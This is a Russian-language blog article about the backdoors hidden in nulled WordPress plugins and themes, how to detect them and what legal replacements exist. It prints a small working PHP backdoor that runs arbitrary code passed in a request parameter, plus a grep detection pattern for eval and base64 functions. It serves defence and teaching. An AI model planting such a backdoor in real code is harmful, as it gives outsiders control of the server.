Nulled-темы и плагины: что реально прилетает вместе с ними
Как выглядит зашитый бэкдор в бесплатной сборке платного плагина, чем это кончается для сайта и как проверить уже установленное.
Содержание
Взломанную сборку выкладывают не из альтруизма: в неё вшивают закладку. Дальше типовой сценарий это страницы про казино в выдаче или блокировка хостингом за спам. Чистка заражённого сайта стоит от 8 до 40 тысяч рублей, то есть дороже любой лицензии.
Каждый месяц через меня проходит минимум один сайт с одинаковой историей: было тихо, а потом в выдаче Яндекса вылезли страницы про казино на японском, или хостинг заблокировал аккаунт за рассылку спама с почтового ящика сайта. В половине таких случаев причина одна: где-то в wp-content стоит nulled-версия платного плагина или темы, скачанная пару лет назад с форума или файлообменника. В этой статье разберу, что реально зашивают в такие сборки, как это искать на уже работающем сайте и что делать, если пиратка стоит на сайте клиента, а денег на лицензию пока нет.

Экономика вопроса: почему сборку раздают бесплатно
Платный плагин уровня WooCommerce Subscriptions или продвинутый конструктор форм стоит порядка 50-200 долларов в год за один сайт. Для владельца одного небольшого сайта это ощутимая сумма, и соблазн скачать взломанную версию понятен. Проблема в том, что бесплатно эту работу никто не делает из любви к искусству.
Взлом лицензионной защиты плагина, то есть удаление проверки серийного номера и обход запроса к серверу разработчика, занимает у человека с нужными навыками от получаса до нескольких часов в зависимости от защиты. За это время на обычном фрилансе можно заработать 1 000-3 000 рублей куда честнее. Значит, тот, кто выкладывает готовую сборку на форум, зарабатывает не на самой работе по взлому, а на том, что происходит с сайтом после установки.
Схема простая: в код плагина или темы дописывается несколько строк, которые открывают доступ постороннему человеку. Дальше с этим доступом можно делать что угодно, от размещения ссылок до полноценного управления сайтом. Сборка с закладкой стоит человеку, который её готовит, ровно столько же усилий, сколько чистая версия, зато монетизируется потом на сотнях установленных копий одновременно, а не один раз при продаже лицензии.
Как выглядит закладка в коде
В девяти случаях из десяти закладка не выглядит как отдельный файл с говорящим именем backdoor.php. Её маскируют под часть плагина: вставляют в существующий файл, обфусцируют переменные, кодируют полезную нагрузку в base64 или gzinflate, чтобы антивирусный сканер и беглый просмотр кода ничего не заметили.
Типичный паттерн выглядит примерно так (упрощённый пример того, что реально находил в очищаемых сайтах):
<?php
$a = 'ZXZhbA==';
$b = base64_decode($a);
if (isset($_REQUEST['x9f2'])) {
$b(base64_decode($_REQUEST['x9f2']));
}
Расшифровка первой строки даёт функцию eval, которая выполняет любой код, переданный через параметр запроса x9f2. По сути это открытая дверь: любой, кто знает секретный параметр, может выполнить на сервере произвольный PHP-код. Второй частый вариант, создание дополнительного пользователя с правами администратора при первом заходе в админку. Третий, тихая отправка HTTP-запроса на внешний сервер при активации плагина, который сообщает «новый заражённый сайт готов к использованию».
Признаки, на которые стоит смотреть при чтении кода:
- функции eval, assert, create_function, base64_decode, gzinflate, str_rot13 в связке друг с другом,
- переменные с бессмысленными именами вроде $a1b2, $xk9, $tmp_zz,
- строки, разбитые на конкатенацию без видимой причины, например ‘ev’ . ‘al’,
- обращения к внешним доменам, которых нет в официальной документации плагина,
- код, который выполняется при каждой загрузке страницы, а не только в нужном месте функциональности.
Что происходит дальше
Закладка редко активируется сразу после установки. Организаторам выгоднее подождать, пока сайт наберёт вес в поисковике и репутацию у хостинг-провайдера, а потом использовать его по одному из нескольких сценариев.
Дорвеи и SEO-спам. На сайт добавляются тысячи скрытых страниц под низкочастотные запросы, обычно про казино, реплики брендовой одежды, фармацевтику. Видит их только поисковый робот. Обнаруживается проблема, когда Яндекс начинает ранжировать визитку стоматологии как каталог «казино вулкан».
Условный редирект для мобильных. Обычный посетитель с десктопа видит нормальный сайт, а тот же URL с мобильного User-Agent или из результатов поиска перенаправляется на сторонний ресурс. Владелец сайта месяцами не замечает проблему, потому что сам заходит с рабочего компьютера и никакого редиректа не видит.
Рассылка спама через почтовый сервер хостинга. Функция wp_mail используется для отправки тысяч писем в сутки. Хостинг фиксирует аномалию и блокирует исходящую почту для всего аккаунта, из-за чего перестают приходить даже письма с формы обратной связи.
Майнинг в браузере посетителя. Реже, но встречается: в футер вставляется скрипт, который грузит процессор устройства посетителя, пока открыта вкладка с сайтом. Заметно по жалобам вроде «у меня ноутбук греется, когда открыт ваш сайт».
Полный захват сервера. Если у хостинга общий аккаунт с несколькими сайтами и закладка получает доступ уровня выполнения PHP, под ударом оказываются все сайты на аккаунте, а не только тот, где стояла nulled-тема.
Как это отражается на репутации домена
Дорвеи и редиректы рано или поздно замечает не только злоумышленник, но и сам поисковик. Яндекс и Google регулярно сканируют проиндексированные страницы на вредоносный код и подозрительные паттерны поведения. Результат: домен попадает в список подозрительных, в выдаче появляется пометка про угрозу безопасности, а в браузере при заходе на сайт всплывает предупреждение на весь экран.
Снять такую пометку не быстро: сначала чистка кода, потом заявка на пересмотр через Яндекс.Вебмастер или Google Search Console, потом ожидание проверки от нескольких дней до пары недель. Всё это время сайт теряет трафик и заявки, а часть посетителей, увидев предупреждение один раз, больше не возвращается. Что конкретно делать, если браузер уже показывает предупреждение или домен попал в чёрный список, разобрано в статье сайт в чёрном списке Яндекса и Google.
Как проверить уже установленное
Если тема или плагин уже стоят на сайте и есть подозрение, что это nulled-сборка, порядок действий такой.
Сверка с оригиналом. Если у плагина есть открытый репозиторий на WordPress.org или доступна триал-версия от разработчика, скачиваем чистую копию той же версии и сравниваем файлы построчно.
diff -rq ./wp-content/plugins/some-plugin ./clean-copy/some-plugin
Команда покажет список файлов, которые отличаются от оригинала. Дальше открываем каждый из них и смотрим, что именно добавлено сверх официального кода.
Поиск подозрительных функций по всему wp-content, если оригинала для сравнения нет:
grep -rlE "eval(|base64_decode(|gzinflate(|create_function(" wp-content/plugins wp-content/themes
Список пользователей WordPress. Заходим в раздел «Пользователи» и проверяем, нет ли администратора с незнакомым логином или почтой на постороннем домене. Закладки часто создают такого пользователя один раз при активации и больше не трогают код.
Запланированные задачи. Через плагин WP Crontrol или прямой запрос к базе смотрим на нестандартные события cron. Злоумышленники любят вешать через wp_cron регулярную проверку связи с управляющим сервером или переустановку себя после чистки.
Файл .htaccess. Ищем строки, которых вы туда не добавляли, чаще всего это условные редиректы по User-Agent или Referer.
Свежий взгляд на список установленных плагинов и тем целиком. Если в списке есть что-то, что клиент не помнит, кто устанавливал, и не может показать чек на покупку, это первый кандидат на проверку.
Короткий чек-лист для быстрой проверки одного сайта:
- сверить версии активных плагинов с версиями на официальных страницах,
- прогнать grep по подозрительным функциям из примера выше,
- открыть список пользователей и проверить каждого администратора,
- посмотреть задачи cron через WP Crontrol,
- проверить .htaccess на посторонние правила,
- прогнать сайт через один из бесплатных онлайн-сканеров вредоносного кода.
Ни один из этих способов не даёт стопроцентной гарантии в одиночку. На практике я прогоняю все пункты подряд, это занимает 30-60 минут на средний сайт и почти всегда находит хотя бы один след, если он есть. Подробнее про общие признаки взлома и что проверять в первую очередь писал в статье про признаки взлома сайта.
Легальные альтернативы
Отказ от nulled-сборок не означает автоматически трату лишних денег. Вот таблица с реальными вариантами замены для типовых платных плагинов.
| Задача | Nulled-вариант | Легальная замена | Ориентир по цене |
|---|---|---|---|
| Конструктор форм с условной логикой | взломанный WPForms Pro | Fluent Forms, бесплатная версия | 0 руб, доплата за PDF-экспорт около 3 000 руб/год |
| SEO-плагин с расширенными функциями | взломанный Rank Math Pro | Rank Math, бесплатная версия | 0 руб, платные функции малому сайту почти не нужны |
| Кэширование и ускорение | взломанный WP Rocket | LiteSpeed Cache или WP Super Cache | 0 руб при хостинге на LiteSpeed |
| Конструктор страниц | взломанный Elementor Pro | Elementor бесплатный плюс кастомные блоки в коде | часы разработчика вместо ежегодной подписки |
| Магазинные подписки | взломанный WooCommerce Subscriptions | годовая лицензия оригинала | порядка 15 000-20 000 руб/год |
По части позиций бесплатный аналог реально закрывает 80-90 процентов задач малого сайта. Там, где аналога нет и функциональность специфическая, например подписки в WooCommerce, дешевле и безопаснее купить годовую лицензию, чем держать закладку неизвестного происхождения в проде.
Что делать, если nulled уже стоит на сайте клиента, а бюджета нет
Такая ситуация встречается у меня в работе регулярно: подрядчик до меня сэкономил на лицензиях, сайт годами работает без видимых проблем, но внутри тикает бомба с неизвестным сроком. Порядок действий, который использую сам.
Сначала оценить риск, а не бюджет. Плагин, который трогает платежи, формы или админку, проверяю в первую очередь. Декоративный слайдер на статичной странице подождёт неделю без критичных последствий.
Найти замену без доплаты. По таблице выше почти всегда есть бесплатный аналог, который закрывает 80 процентов функциональности. Переход занимает от часа до дня работы в зависимости от того, насколько глубоко плагин встроен в сайт и сколько мест его использует.
Договориться о разовой покупке вместо ежемесячной подписки на обслуживание. Годовая лицензия плагина обычно дешевле, чем один инцидент с чисткой заражённого сайта, который стоит от 8 000 до 40 000 рублей в зависимости от глубины поражения и того, успел ли домен попасть в чёрный список поисковика. Эту математику стоит показывать клиенту прямо, цифрами, а не абстрактным «это опасно».
Не оставлять nulled-версию «пока, потом заменим». У меня в практике не было ни одного случая, когда это «потом» наступало само по себе. Замену либо делаю в рамках текущей задачи, либо фиксирую в договоре как отдельный пункт с конкретной датой. Заодно стоит взять за правило регулярно обновлять и всё остальное окружение сайта, потому что закладка нередко возвращается на очищенный сайт через старую уязвимость в соседнем неудалённом плагине.
Если нужна помощь с проверкой конкретного сайта на закладки или подбором легальной замены под бюджет, пишите через форму на сайте. Диагностика плагинов и тем обычно занимает один рабочий день, а стоимость чистки и замены компонентов входит в мои тарифы на обслуживание. Про то, как вообще отличать безопасные плагины от рискованных ещё на этапе выбора, у меня есть отдельный разбор в статье про безопасные плагины для WordPress, а если сайт уже заражён и нужна экстренная чистка, начните со статьи как очистить WordPress от вирусов.
Частые вопросы
Чем опасны nulled-плагины и темы
В них добавляют скрытый код: создание своего администратора, приём команд снаружи, размещение чужих ссылок. Работает это не сразу, поэтому связь с установкой замечают месяцы спустя.
Как проверить, есть ли закладка
Сравнить файлы с официальной сборкой, поискать типовые сигнатуры в коде, проверить список пользователей и запланированные задания. На средний сайт это 30-60 минут.
Что делать, если nulled уже стоит
Заменить на легальную версию или на бесплатный аналог, потом проверить сайт на следы. Просто удалить плагин мало: закладка обычно живёт отдельно от него.
Есть ли бесплатные альтернативы
Почти всегда. Для малого сайта бесплатный аналог закрывает 80-90 процентов задач платного. Оставшиеся проценты редко стоят риска потерять сайт.